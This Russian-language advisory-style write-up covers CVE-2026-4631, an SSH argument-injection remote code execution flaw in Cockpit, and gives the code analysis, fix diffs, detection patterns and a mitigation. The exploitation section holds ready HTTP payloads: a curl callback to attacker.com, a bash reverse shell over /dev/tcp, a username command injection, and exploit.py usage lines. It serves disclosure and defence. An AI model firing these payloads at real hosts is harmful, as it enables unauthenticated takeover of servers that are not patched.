
Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH
| Поле | Детали |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Серьёзность | Критическая (CVSS 9.8) |
| Затронутые версии | Cockpit 327 – 359 |
| Исправлено в | Cockpit 360 |
| CWE | CWE-78: Внедрение команд ОС |
| Требуется аутентификация | НЕТ |
| Сообщил | Jelle van der Waa |
Функция удалённого входа в Cockpit передаёт предоставленные пользователем имена хостов (из пути URL) и имена пользователей (из заголовка Authorization: Basic) напрямую в бинарный файл OpenSSH ssh без какой-либо проверки или очистки.
Неаутентифицированный злоумышленник с сетевым доступом к порту 9090 может сформировать один HTTP-запрос, который:
-oProxyCommand=<cmd>)%r в SSHОбе точки внедрения срабатывают до завершения проверки учётных данных, то есть для этого не требуется действительный вход в систему.

До версии 327 Cockpit использовал специальный бинарный файл на C под названием cockpit-ssh (на основе libssh) для удалённых подключений. Начиная с версии 327, он был заменён на:
python3 -m cockpit.beiboot
который вызывает системный клиент OpenSSH ssh. Это изменение привело к появлению уязвимости, поскольку новый путь кода передаёт управляемые пользователем значения напрямую в ssh без очистки.
-- перед именем хостаSSH-клиент интерпретирует аргументы, начинающиеся с -, как параметры, а не как имя хоста, если перед ними нет разделителя --. Без -- любое имя хоста, начинающееся с -, разбирается как флаг SSH.
Уязвимая конструкция:
ssh [параметры] <имя-хоста> <удалённая-команда>
Безопасная конструкция:
ssh [параметры] -- <имя-хоста> <удалённая-команда>
Ни cockpit-ws (код на C), ни cockpit.beiboot (код на Python) не проверяют и не очищают:
Authorization: Basicargparse (CPython #66623)Известная ошибка CPython приводит к тому, что argparse неправильно обрабатывает аргументы, начинающиеся с - и содержащие пробелы, рассматривая их как позиционные, а не как флаги. Это позволяет имени хоста -oProxyCommand=evil command пройти через разбор аргументов Python и достичь ssh в качестве параметра.
src/cockpit/beiboot.py — Основная точка внедренияЭто самый критичный файл. Функция via_ssh() формирует список аргументов команды SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Сформировать ssh-команду для выполнения `cmd` на `dest`."""
# Разбор необязательного порта из dest (например, "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Удаление квадратных скобок IPv6
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# УЯЗВИМО: Нет '--' перед именем хоста
# Если host = "-oProxyCommand=evil", ssh воспринимает это как параметр
destination = ['-p', port, host]
else:
# УЯЗВИМО: Необработанные данные атакующего передаются напрямую в ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
С dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← параметр cockpit
arg2: -oProxyCommand=curl http://... ← РАЗОБРАН КАК ПАРАМЕТР SSH (не имя хоста)
arg3: python3 -ic '# cockpit-bridge' ← становится "именем хоста" → запускает ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# ИСПРАВЛЕНО: '--' заставляет всё после него быть позиционным
destination = ['-p', port, '--', host]
else:
# ИСПРАВЛЕНО: добавлен разделитель '--'
destination = ['--', dest]
src/ws/cockpitauth.c — Слой C: Извлечение имени хостаЭтот C-файл обрабатывает начальный разбор HTTP-запроса и запускает процесс beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Извлекает всё после "cockpit+=" из пути URL
// Без проверки символов — дефисы, спецсимволы разрешены
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
Возвращённое имя хоста передаётся напрямую как аргумент при запуске beiboot:
// cockpit_ws_ssh_program — шаблон команды запуска
// УЯЗВИМО: имя хоста добавляется без очистки
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// Отсутствие завершающего '--' означает, что имя хоста
// может быть разобрано как флаг Python'овским argparse (CPython #66623)
// ИСПРАВЛЕНО: завершающий '--' гарантирует, что имя хоста всегда позиционное
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Декодирует Authorization: Basic base64(user:password)
// Без проверки 'user' — точки с запятой, спецсимволы разрешены
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' передаётся в учётные данные и в конечном итоге в 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // без очистки
...);
}
vendor/ferny/src/ferny/session.py — Третья точка внедренияВстроенная библиотека ferny (используется для взаимодействия с SSH) имеет то же упущение -- в своём вызове подпроцесса.
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE доступен не везде, поэтому используем setsid
process = await asyncio.create_subprocess_exec(
# УЯЗВИМО: жёстко заданный путь + нет '--' перед назначением
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# ИСПРАВЛЕНО: поиск по PATH вместо жёстко заданного пути + добавлен '--'
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — Путь развёртывания в контейнерахЭтот скрипт является командой аутентификации, используемой в Docker/контейнерных развёртываниях Cockpit.
#!/usr/bin/env python3
import os, sys
# Извлечение хоста из окружения
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# УЯЗВИМО: та же первопричина — хост передаётся без очистки в beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
Это отдельная точка входа, отличная от основного пути beiboot.py, что означает, что контейнерные развёртывания Cockpit уязвимы независимо, даже если основной путь кода исправлен.
Предварительное условие: OpenSSH < 9.6 на хосте Cockpit (в OpenSSH 9.6 появилась ранняя проверка имени хоста, блокирующая метасимволы оболочки).
HTTP-запрос:
GET /cockpit+=-oProxyCommand=<КОМАНДА>/login HTTP/1.1
Host: <цель>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
Декодированный Authorization: invalid:invalid — подойдёт любое значение.
Как это работает:
-oProxyCommand=<КОМАНДА> из пути URL как "имя хоста"via_ssh() формирует: ssh -oProxyCommand=<КОМАНДА> python3 -ic '# cockpit-bridge'-oProxyCommand=<КОМАНДА> как параметр (не имя хоста)python3 -ic '# cockpit-bridge' как имя хоста<КОМАНДА> как ProxyCommand при подключении к этому "имени хоста"<КОМАНДА> выполняется от имени пользователя процесса cockpit-wsПример — OOB-обратный вызов:
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
Декодированный ProxyCommand: curl http://attacker.com/id``
Пример — обратная оболочка:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
Декодированный ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%rПредварительное условие: В ssh_config цели содержится директива Match exec, использующая токен %r (удалённое имя пользователя).
Пример уязвимого ssh_config:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
HTTP-запрос:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <цель>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
Декодированный Authorization: x; touch /tmp/pwned; #:invalid
Извлечённое имя пользователя: x; touch /tmp/pwned; #
Как это работает:
%r с именем пользователя перед выполнением команды Match exec/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned, затем игнорирует остальное
Исправление минимально — добавление -- (разделителя конца параметров POSIX) перед аргументом назначения в каждом месте вызова SSH.
src/cockpit/beiboot.py (коммит 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (коммит 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (коммит 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- исправляет проблемуТокен -- сообщает разборщикам аргументов (как Python'овскому argparse, так и разборщику параметров OpenSSH), что все последующие токены являются позиционными аргументами, а не параметрами. После -- значение вида -oProxyCommand=evil обрабатывается как буквальная строка имени хоста, которую SSH затем отклоняет как недействительную — ничего не выполняется.
Ищите HTTP-запросы к конечной точке входа Cockpit, где компонент пути содержит синтаксис параметров SSH:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Особое внимание обратите на:
-oProxyCommand= в пути URL (Вектор 1)Authorization: Basic (Вектор 2)# Проверка запуска beiboot с подозрительными аргументами
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# Проверка вызовов SSH от пользователя cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"
# Проверка, уязвима ли установленная версия
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Уязвима, если версия находится в диапазоне от 327 до 359 включительно
rpm -q cockpit-ws
# Применяется та же проверка версии
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Добавьте в /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Это полностью отключает функцию удалённого входа, предотвращая запуск пути кода beiboot.
| Ресурс | URL |
|---|---|
| Раскрытие OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Консультация по безопасности GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Проблема Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Коммит исправления (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Коммит исправления (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Ошибка argparse в CPython | https://github.com/python/cpython/issues/66623 |
| Проверка имени хоста в OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |